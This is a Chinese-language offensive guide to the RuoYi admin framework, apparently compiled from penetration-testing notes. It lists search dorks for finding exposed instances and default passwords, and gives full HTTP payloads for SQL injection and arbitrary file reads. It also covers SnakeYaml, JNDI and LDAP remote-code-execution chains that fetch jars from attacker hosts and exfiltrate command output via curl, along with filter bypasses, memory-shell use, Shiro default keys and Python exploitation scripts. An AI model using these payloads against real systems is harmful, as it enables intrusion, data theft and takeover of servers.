针对RuoYi 这个开源项目的各个方面
系统简介
Ruoyi(若依)是一款基于Spring Boot和Vue.js开发的快速开发平台。它提供了许多常见的后台管理系统所需的功能和组件,包括权限管理、定时任务、代码生成、日志管理等。Ruoyi的目标是帮助开发者快速搭建后台管理系统,提高开发效率。
若依有很多版本,其中使用最多的是:
- Ruoyi单应用版本(RuoYi)
- Ruoyi前后端分离版本(RuoYi-Vue)
- Ruoyi微服务版本(RuoYi-Cloud)
- Ruoyi移动版本(RuoYi-App)
配合ruoyi的服务
- alibaba druid
- alibaba nacos
- spring
- redis
- mysql
- minio
- fastjson
- shiro
- swagger-ui.html
- mybatis

若依框架特征
新版本的若依系统的cookie值是Admin-Token值且是JWT编码的,右边的是老版本的,就是jsessionid值。

/prod-api接口,其实看若依系统多的师傅们都这到这个接口就是若依框架的常见的一个关键字接口。

资产测绘
使用搜索引擎搜索以谷歌为例
这些语法可用于在Google、Bing等通用搜索引擎中查找暴露的RuoYi系统、相关漏洞页面或敏感信息。
- 语法说明针对RuoYi的搜索示例(目的)
- site:限定在特定网站或域名搜索。
site:ruoyi.vip(搜索官方站点)site:edu.cn intext:若依(在教育网内找RuoYi) - inurl:在URL中包含特定关键词。
inurl:/admin (查找后台登录页)``````inurl:/druid/index.html (找Druid监控台)``````inurl:/swagger-ui.html (找API文档) - intitle:在网页标题中包含特定关键词。
intitle:若依 或 intitle:RuoYi (找标题含RuoYi的页面)``````intitle:若依 后台管理系统 - intext:在网页正文中包含特定关键词。
intext:"若依管理系统"``````intext:"RuoYi-V4.5.0" (找特定版本) - filetype:搜索特定文件类型。
filetype:sql ruoyi (找数据库备份文件)``````filetype:yml ruoyi (找配置文件)`````filetype:pdf "若依漏洞" (找漏洞文档)- (减号)排除特定关键词。`````ruoyi -ruoyi.vip (排除官网,找其他部署) - "精确短语": 精确搜索短语。"RuoYi管理系统""若依启动成功" (找启动成功的日志或页面)AND / OR逻辑与、或。ruoyi AND (后台 OR admin)(ruoyi OR 若依) AND 登录* (通配符)匹配任意字符。若依 * 系统
网络空间测绘引擎语法(FOFA、Shodan、ZoomEye等)
- 这些语法更强大,专门用于搜索联网设备和服务,可直接定位RuoYi资产。 引擎关键语法字段针对RuoYi的搜索示例(目的)FOFAtitle, header, body, server, port, ip, domain, host, os, city, region,
java
countrytitle="若依管理系统"body="RuoYi" && country="CN"header="若依"port="80" && body="/ruoyi/login" Shodantitle, http.html, http.title, port, country, city, org, product, versionhttp.title:"RuoYi"http.html:"若依"product:"nginx" http.html:"ruoyi-admin"ZoomEyetitle, keywords, description, site, ip, port, country, citytitle:若依keywords:ruoyisite:ruoyi.vip
fofa
ini
黑若依: icon_hash="-1231872293"
绿若依: icon_hash="706913071"
body="请通过前端地址访问"
body="认证失败,无法访问系统资源"
(icon_hash="-1231872293" || icon_hash="706913071" || body="请通过前端地址访问" || body="认证失败,无法访问系统资源")

-
高级/组合示例:
- 查找特定版本或漏洞版本:
javascriptbody="ruoyi-v4.5.0" (找4.5.0版本,可能存在任意文件读取) body="ruoyi-v4.7.5" (找4.7.5版本,可能存在后台SQL注入)- 查找特定组件或接口:
javascriptpath="/druid/index.html" (FOFA语法,找暴露的Druid) path="/swagger-ui.html" (找暴露的Swagger) path="/tool/gen/createTable" (找代码生成器的特定接口)- 地域或行业限定:
javascripttitle="若依" && region="Zhejiang" (在浙江找) body="RuoYi" && org="大学" (在教育机构找)
hunter
java
web.body="若依后台管理系统"
web.icon=="e49fd30ea870c7a820464ca56a113e6e"
web.body="若依后台管理系统" || web.icon=="e49fd30ea870c7a820464ca56a113e6e"

针对RuoYi漏洞特征的专项搜索语法
-
结合已知漏洞,可以直接搜索可能存在风险的页面或参数。
-
任意文件读取漏洞:搜索可能触发下载或文件读取的接口。
java
inurl:"/common/download/resource" (通用下载接口)
inurl:"/demo/mail/sendMessageWithAttachment" (邮件附件接口)
SQL注入点特征:搜索带有常见SQL注入参数的页面(需结合其他特征)。
inurl:".php?id=" site:ruoyi.vip (不适用,RuoYi是Java)
-
更有效的是用测绘引擎搜索 body="params[dataScope]" 或 path="/system/role/list" 来定位可能存在注入的接口。
-
敏感信息泄露:
java
filetype:yml "ruoyi" "password" (搜索配置文件中的密码)
intext:"application-druid.yml" (找数据库配置文件)
"index of" /ruoyi (找目录遍历)
社会工程学与代码仓库搜索
- GitHub / Gitee 搜索:
java
ruoyi password (搜索代码中硬编码的密码)
ruoyi application.yml (搜索配置文件)
ruoyi 数据库 (搜索数据库连接信息)
site:gitee.com ruoyi 漏洞 (在代码托管平台找漏洞讨论或PoC)
- 企业信息关联搜索:
java
若依 公司 (查找使用RuoYi的企业)
"RuoYi" 内部系统 (查找可能的内网系统介绍)
若依和Spring-Boot结合漏洞
bash
/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html
直接未授权:

登录框:
口令一般是:
- admin/123456
- ruoyi/123456
- druid/druid

Swagger接口:
bash
/swagger/
/swagger-ui.html
/swagger.json
/swagger-resources
/api/swagger
/api/swagger-ui.html
/api-docs
/v1/swagger.json
/api/v1/api-docs

可以使用插件探测:

也可以直接使用曾哥的工具:

漏洞二:SQL注入漏洞
(注意:后阶段所有操作都需要修改登录后的JSESSIONID值)
都是POST请求方式
第一个sql注入点:角色管理
在 /system/role/list 接口的 params[dataScope] 参数
进入后台后,拦截角色管理页面的请求包:

POC
http
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=d621ef68-145a-42d4-921e-e1ccde616ec1
Connection: keep-alive
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))


空参构造包发包
http
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 76
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=d621ef68-145a-42d4-921e-e1ccde616ec1
Connection: keep-alive
¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

第二个sql注入点:角色修改接口

POC
http
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 113
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=d621ef68-145a-42d4-921e-e1ccde616ec1
Connection: keep-alive
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

第三个sql注入点:角色导出处

POC
http
POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=3b7b5296-0d29-41b0-9e35-1f718cb1e104
Connection: keep-alive
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

RuoYi 4.7.5版本后台sql注入
ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController 下 /tool/gen/createTable 路由存在sql注入。
POC:
sql
sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e))

漏洞三:后台任意文件读取(CNVD-2021-01931)
漏洞简介
若依管理系统是基于springboot的权限管理系统,登录后台后可以读取服务器上的任意文件。
影响版本:RuoYi < 4.5.1
漏洞复现
POC:
bash
/common/download/resource?resource=/profile/../../../../etc/passwd
/common/download/resource?resource=/profile/../../../../Windows/win.ini

bash
http://127.0.0.1/common/download/resource?resource=/profile/../../../../Windows/win.ini

漏洞四:后台定时任务RCE (Snake Yaml反序列化)
漏洞简介
RuoYi < 4.6.2
由于若依后台计划任务处,对于传入的"调用目标字符串"没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。
影响版本:RuoYi < 4.6.2
通常只要引用了Snakeyaml包的几乎都可进行反序列化,可查看代码是否调用 new Yaml();
(ruoyi-common-pom.xml)

下载yaml反序列化payload工具:
该工具是通过 org.yaml.snakeyaml.Yaml 类来加载远程的类,通过远程类重写 AwesomeScriptEngineFactory 类,以此来达到执行远程恶意命令的目的。
下载完工具后将 src/artsploit/AwesomeScriptEngineFactory.java 文件中的Runtime执行语句改为你要执行的命令:

地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)。除此之外,我们需要使用 $() 命令替换,用于命令回显,因此我们改写一下命令执行函数。
漏洞复现
下载payload:github.com/artsploit/y...
下载完成之后修改 AwesomeScriptEngineFactory.java 这个文件:

eg: curl http://192.168.91.129:7000?CMDEcho=$(whoami)
地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)。除此之外,我们需要使用 $() 命令替换,用于命令回显,因此我们改写一下命令执行函数。改写方法如下:
java
String[] cmd = {
"/bin/bash",
"-c",
"curl http://9eiju8.dnslog.cn?echo=$(whoami)"
};
Runtime.getRuntime().exec(cmd);
然后切换到yaml-payload-master目录,编写 yaml-payload.yml 文件(如果没有自己创建):
yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://192.168.10.17:5555/yaml-payload.jar"]
]]
]


(此处IP替换为VPS或需要反弹shell的ip和端口)
然后在该目录下执行以下命令进行编译(java环境使用的是1.8):

bash
javac src/artsploit/AwesomeScriptEngineFactory.java //编译java文件
jar -cvf yaml-payload.jar -C src/ . //打包成jar包

然后就会生成一个 yaml-payload.jar 的jar包,直接在yaml-payload-master目录下使用python起一个http服务。
bash
python -m http.server 5555 --bind 0.0.0.0

arduino
http://192.168.10.17:5555/yaml-payload.jar
然后进入若依后台,添加一个计划任务。
出网探测
java
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://DNSLOG"]]]]')
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://hq5nuu.dnslog.cn"]]]]')
exp:
java
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.10.17:5555/yaml-payload.jar"]]]]')
cron表达式说明
cron表达式:0/10 * * * * ?
这个cron就跟linux定时任务一样,定义每天/每周/等,定时启动的时间。
分解表达式 :0/10 * * * * ?
- 格式:秒 分 时 日 月 星期 [年(可选)]
- 秒
0/10--- 从 0 秒开始,每 10 秒执行一次(0,10,20,30,40,50 秒) - 分
*--- 每分钟 - 时
*--- 每小时 - 日
*--- 每天 - 月
*--- 每月 - 星期
?--- 不指定星期(通常与日期字段冲突时使用 ? 表示忽略) - 年 没有指定(所以每年)
配置好之后,并不会启动定时任务:



推荐使用工具
bash
java -jar JNDIInject-1.2-SNAPSHOT.jar -i xxx.xxx.xxx.xxx
vbnet
PS C:\Users\xuSheng\Desktop\若依> java -jar .\JNDIInject-1.2-SNAPSHOT.jar -i 0.0.0.0 -p 9090
[+] HTTP Server Start Listening on 9090...
Listening on 0.0.0.0:1389
memshellKEY: ck4Gr4Qi

使用这个更简单:
java
javax.naming.InitialContext.lookup('ldap://10.165.132.209:1389/snakeyaml/http://10.165.132.209:9090/exp.jar')
弱口令与未授权访问探测脚本
- 用途: 检测若依系统默认后台、Druid监控台、Swagger等接口的弱口令或未授权访问。
- 示例脚本思路(Python):
python
import requests
targets = ["http://target.com", "http://target.com:8080"]
common_paths = ["/", "/admin", "/login", "/druid/index.html", "/swagger-ui.html"]
common_creds = [("admin", "admin123"), ("admin", "123456"), ("ry", "admin123")]
for target in targets:
for path in common_paths:
url = target + path
try:
resp = requests.get(url, timeout=5)
if resp.status_code == 200:
print(f"[+] 可访问: {url}")
# 如果是登录页,可添加简单的弱口令爆破逻辑(需谨慎,避免锁定账户)
if "login" in path:
for user, pwd in common_creds:
# 此处需根据实际登录表单结构构造POST请求
data = {"username": user, "password": pwd}
login_resp = requests.post(url, data=data)
if "登录成功" in login_resp.text or login_resp.status_code == 302:
print(f" [!] 潜在弱口令: {user}:{pwd}")
except:
pass
后台定时任务RCE漏洞测试脚本
- 用途: 针对SnakeYaml反序列化、JNDI/LDAP注入等漏洞的检测与利用(需已获得后台权限)。
- 示例(基于文档中的POC构造HTTP请求):
python
import requests
# 假设已通过Cookie获得认证
headers = {"Cookie": "JSESSIONID=xxx"}
base_url = "http://target.com"
# 1. 添加恶意定时任务 (SnakeYaml - 适用于<4.6.2)
def add_yaml_job(job_name, yaml_payload_url):
url = base_url + "/monitor/job/add"
data = {
"jobName": job_name,
"jobGroup": "DEFAULT",
"invokeTarget": f"org.yaml.snakeyaml.Yaml.load('{yaml_payload_url}')",
"cronExpression": "0/10 * * * * ?", # 立即执行一次
"misfirePolicy": "1",
"concurrent": "1",
"status": "0"
}
resp = requests.post(url, data=data, headers=headers)
return resp.text
# 2. 立即执行任务
def run_job(job_id):
url = base_url + "/monitor/job/run"
data = {"jobId": job_id}
resp = requests.post(url, data=data, headers=headers)
return resp.text
- 使用示例(需提前搭建恶意jar的HTTP服务)
bash
add_yaml_job("test", "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://attacker.com/yaml-payload.jar\"]]]]")
run_job("新任务的ID")
任意文件下载/读取漏洞测试脚本
用途: 检测 /common/download/resource 或 /demo/mail/sendMessageWithAttachment 等接口的任意文件读取。 示例:
python
import requests
def test_file_download(target, file_path):
# 漏洞七 POC
url1 = f"{target}/common/download/resource?resource={file_path}"
# 或 sendMessageWithAttachment 漏洞
url2 = f"{target}/demo/mail/sendMessageWithAttachment?to=test@test.com&subject=test&text=test&filePath={file_path}"
for url in [url1, url2]:
resp = requests.get(url)
if resp.status_code == 200 and len(resp.content) > 0:
print(f"[+] 可能存在任意文件读取: {url}")
print(resp.text[:500]) # 预览部分内容
return resp.content
return None
测试示例
test_file_download("target.com", "/etc/passwd")
test_file_download("target.com", "C:/Windows/win.ini")
Shiro反序列化漏洞检测脚本
- 用途: 利用Shiro默认密钥检测反序列化漏洞(如RuoYi <4.6.2)。
- 示例(结合ShiroAttack2等工具的思路):
python
import base64
import requests
from Crypto.Cipher import AES
# RuoYi常见默认密钥
default_keys = [
"zSyK5Kp6PZAAjT+eeNMIg==", # 4.6.1-4.3.1
"fCq+/xW488hMTCD+cmJ3aQ==" # 4.2及以下
]
def test_shiro_key(target_url, key):
# 构造一个简单的rememberMe Cookie测试(此处仅为示例,实际利用需完整Payload)
# 真实测试建议使用成熟工具如ShiroAttack2
try:
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv=b'\x00'*16)
test_data = b"test" + b"\x00"*12
encrypted = cipher.encrypt(test_data)
rememberMe = base64.b64encode(encrypted).decode()
headers = {"Cookie": f"rememberMe={rememberMe}"}
resp = requests.get(target_url, headers=headers, timeout=5)
# 根据响应差异判断,例如响应长度、时间、错误信息等(需根据实际情况调整)
if "登录" not in resp.text and resp.status_code != 403:
print(f"[+] 潜在Shiro密钥可用: {key}")
return True
except:
pass
return False
# 批量测试
for key in default_keys:
if test_shiro_key("http://target.com/login", key):
break
SQL注入漏洞测试脚本
- 用途: 检测角色管理、代码生成等接口的SQL注入(需已登录)。
- 示例(针对 /system/role/list 参数注入):
python
import requests
headers = {"Cookie": "JSESSIONID=xxx"}
url = "http://target.com/system/role/list"
# 测试参数 params[dataScope]
payloads = ["'", "1' AND '1'='1", "1' AND '1'='2", "1' AND SLEEP(5)--"]
for payload in payloads:
params = {"params[dataScope]": payload}
resp = requests.post(url, data=params, headers=headers)
if "error" in resp.text.lower() or resp.elapsed.total_seconds() > 4:
print(f"[+] 可能存在SQL注入,Payload: {payload}")
break
综合漏洞利用框架建议
- 对于更复杂的漏洞(如白名单绕过通过数据库篡改、SSTI、Fastjson等),建议直接使用文档中提到的成熟开源工具或编写专项脚本:
java
SnakeYaml RCE:使用 https://github.com/artsploit/yaml-payload 生成恶意jar。
Shiro反序列化:使用 ShiroAttack2。
Fastjson漏洞:使用 https://github.com/zhzyker/exphub 等工具。
SSTI (Thymeleaf):手工构造Payload,如 ${T(java.lang.Runtime).getRuntime().exec("calc")} 测试。
数据库篡改绕过白名单:编写脚本通过 genTableServiceImpl 执行SQL更新 sys_job 表。
版本4.6.2<=Ruoyi<4.7.2
这个版本采用了黑名单限制调用字符串:
- 定时任务屏蔽ldap远程调用
- 定时任务屏蔽http(s)远程调用
- 定时任务屏蔽rmi远程调用
Bypass方法
咱们只需要在屏蔽的协议加上单引号,接着采用之前的方式:
例如:
lua
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p'://127.0.0.1:88/yaml-payload.jar"]]]]]')
org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')
源代码中绕过版本 4.6.2<=Ruoyi<4.7.2 这个版本采用了黑名单限制调用字符串,直接在代码中将这段 if 语句中的黑名单过滤语句注释掉即可绕过。
版本:RuoYi <=4.7.8
新版本添加了过滤,为白名单,仅允许调用 com.ruoyi 下的包。
因为过滤是在创建任务或者修改任务时过滤的,同时 genTableServiceImpl 里面有一个执行 sql 语句的功能,那么我们是不是可以通过 genTableServiceImpl 去修改数据库中的数据,改为我们的恶意代码,进而 rce 呢。
复现步骤
1、创建计划任务
http
POST /monitor/job/add HTTP/1.1
Host: 192.168.137.1
Content-Length: 146
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
createBy=admin&jobName=test1&jobGroup=DEFAULT&invokeTarget=ryTask.ryParams('ry')&cronExpression=*+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&remark=
首先创建两个计划任务,重复发送以上包两次即可。
2、修改计划任务
比如我们创建的两个任务的 id 为 103 和 104,就去修改 103 的内容,把 WHERE job_id= 的值改为 104:
ini
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 104;')
其中 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 的内容为 javax.naming.InitialContext.lookup('ldap://xcrlginufj.dgrh3.cn') 的 hex 编码,将其改为我们的恶意 ladp 服务器即可。
http
POST /monitor/job/edit HTTP/1.1
Host: 192.168.137.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
jobId=103&updateBy=admin&jobName=test1&jobGroup=DEFAULT&invokeTarget=genTableServiceImpl.createTable('UPDATE+sys_job+SET+invoke_target+%3D+0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729+WHERE+job_id+%3D+104%3B')&cronExpression=*+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=1&remark=
再去执行 103 的计划:
http
POST /monitor/job/run HTTP/1.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
Host: 192.168.137.1
jobId=103
执行完之后我们就发现 104 的内容变为了我们的恶意命令,然后执行 104 去打 snakeyaml 即可:
http
POST /monitor/job/run HTTP/1.1
Content-Length: 370
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.137.1
Referer: http://192.168.137.1/monitor/job/edit/104
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=b4868e8e-f1a7-4d2a-93e5-a0e1a17ef8e4
Connection: close
Host: 192.168.137.1
jobId=104
不出网利用
不出网利用需要将恶意 jar 文件上传到服务器本地。
注入方法:把 jar 放到系统可以访问的地方,在定时任务创建新的定时任务,再立即执行一次即可:
css
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]]')
若依 snakeyaml 反序列化漏洞注入内存马
RuoYi
- 直接执行命令:
?cmd=whoami - 连接冰蝎:
/login?cmd=1(cmd不为空即可),密码为 rebeyond,使用冰蝎正常连接即可 - 卸载内存马:
?cmd=delete
RuoYi Vue
- 直接执行命令:
/dev-api/?cmd=whoami - 连接冰蝎:暂不支持
- 卸载内存马:
/dev-api/?cmd=delete
漏洞五:若依后台定时任务RCE(JNDI注入)
若依版本:4.2
简介
通过 JNDI 远程加载恶意类。JNDI 注入只在低版本 JAVA 中适用(小于以下版本可用):
| JDK版本 | RMI | LDAP |
|---|---|---|
| JDK6 | 不可用 6u132 | 不可用 6u221 |
| JDK7 | 不可用 7u122 | 不可用 7u201 |
| JDK8 | 不可用 8u113 | 不可用 8u119 |
| JDK11 | 无 | 不可用 11.0.1 |
编写恶意类并进行编译
java
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}
编译:javac Calc.java
将 Calc.class 文件通过 python 服务暴露:
bash
python -m http.server 5555 --bind 0.0.0.0
访问:http://192.168.10.17:5555/Calc.class
RMI注入
使用 marshalsec 工具启动一个 RMI 服务,链接类指向我们公开的端口:
bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.17:5555/#Calc" 8888
添加一个定时任务,通过 lookup 函数加载远程类:
目标字符串:
rust
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://192.168.10.17:8888/Calc')
cron 表达式:0/10 * * * * ?
点击执行任务,弹出计算器,测试成功。
漏洞六:后台定时任务RCE(LDAP注入)
启动 ldap 服务:
bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.10.17:5555/#Calc" 8888
添加一个定时任务通过 lookup 函数加载远程类:
目标字符串:
rust
javax.naming.InitialContext.lookup('ldap://192.168.10.17:8888/#Calc')
cron 表达式:0/10 * * * * ?
概念解释
JNDI (Java Naming and Directory Interface)
- 是什么:Java 命名和目录接口,是 Java 提供的一个 API
- 作用:允许 Java 程序通过统一接口访问各种命名和目录服务(如 LDAP、RMI、DNS 等)
- 比喻:就像手机的"应用商店" - 一个统一界面,可以连接不同来源的应用
- 关键点:JNDI 本身不是协议,而是一个接口标准
LDAP (Lightweight Directory Access Protocol)
- 是什么:轻量级目录访问协议
- 作用:用于访问和维护分布式目录信息服务(如用户认证、组织信息等)
- 比喻:就像公司的"员工通讯录"服务
- 常见用途:企业用户认证、地址簿
- 端口:通常 389(明文)/ 636(SSL)
RMI (Remote Method Invocation)
- 是什么:Java 远程方法调用
- 作用:让一个 Java 虚拟机上的对象可以调用另一个 Java 虚拟机上的对象方法
- 比喻:就像 Java 的"远程控制"功能
- 特点:纯 Java 技术,支持对象序列化
- 端口:通常 1099
关系图:
markdown
JNDI (接口/API)
├── 可以通过 JNDI 访问 LDAP 服务
├── 可以通过 JNDI 访问 RMI 服务
├── 可以通过 JNDI 访问 DNS、文件系统等
└── 其他目录服务...
JNDI 注入攻击流程:
- 应用使用 Log4j 记录日志(如记录
${jndi:ldap://attacker.com/exp}) - Log4j 解析到 JNDI 查找
- 通过 JNDI 请求 LDAP 服务器(attacker.com)
- LDAP 服务器返回恶意 Java 类的 RMI 地址
- 受害者通过 RMI 加载并执行恶意类
- 远程代码执行完成
漏洞七:后台任意文件下载漏洞
漏洞简介
若依管理系统后台存在任意文件下载漏洞。影响版本:若依管理系统 4.7.6 及以下版本
该漏洞是由于在 RuoYi 低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。
漏洞复现
漏洞利用前提:登录进后台。首先提交一个定时任务。
POC:
http
POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 184
Cookie: JSESSIONID=bac0bc47-598f-4f6c-b2db-642244070e11
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
通过浏览器直接 get 请求以下地址即可,下载任意文件:
ruby
http://127.0.0.1/common/download/resource?resource=c://windows/win.ini:.zip
sendMessageWithAttachment 任意文件读取漏洞
perl
/demo/mail/sendMessageWithAttachment?to=test111@163.com&subject=Test-Mail&text=This%20is%20a%20test%20message&filePath=/etc/passwd
漏洞八:Shiro反序列化(RuoYi<V-4.6.2)
该漏洞原理简单来说就是 Shiro 将用户认证信息存储到 remeberme 字段中,后端读取该字段是将该字段在服务器反序列化并通过可利用的 gadget 实现 RCE 漏洞。虽然 shiro 使用了 AES 加密 remeberme 字段信息,但是由于 shiro-1.2.4 版本在依赖 jar 中硬编码该密钥,因此使用 shiro-1.2.4 版本的系统则可以通过该密钥解密 remeberme 字段数据,在 remeberme 字段中写入恶意的类,让系统在后端反序列化过程中执行,这就是 shiro550 漏洞的原理。
而 ruoyi 使用的 shiro 的高版本,可以自定义密钥,但是由于开发者安全意识不强,在使用 ruoyi 开发框架时并未更改 ruoyi 代码中默认的密钥,这同样会导致 shiro 反序列化漏洞。
漏洞复现
工具下载:github.com/SummerSec/S...
使用命令启动工具:java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
RuoYi-4.2 版本使用的是 shiro-1.4.2,在该版本和该版本之后都需要勾选 AES GCM 模式。
RuoYi-4.2 可用利用链为 CommonsBeanutilString 这条链。
RuoYi各版本的AES默认密钥
| RuoYi 版本号 | 默认AES密钥 |
|---|---|
| 4.6.1-4.3.1 | zSyK5Kp6PZAAjlT+eeNMlg== |
| 3.4-及以下 | fCq+/xW488hMTCD+cmJ3aQ== |
4.2 版本及以上需要使用 GCM 模式
RuoYi-4.6.2 版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此 4.6.2 版本以后,在没有获取到密钥的情况下无法再进行利用。
漏洞九:SSTI(模板注入)漏洞
仅适用 V-4.7.1
RuoYi 的以下文件存在可控的 return 字段:
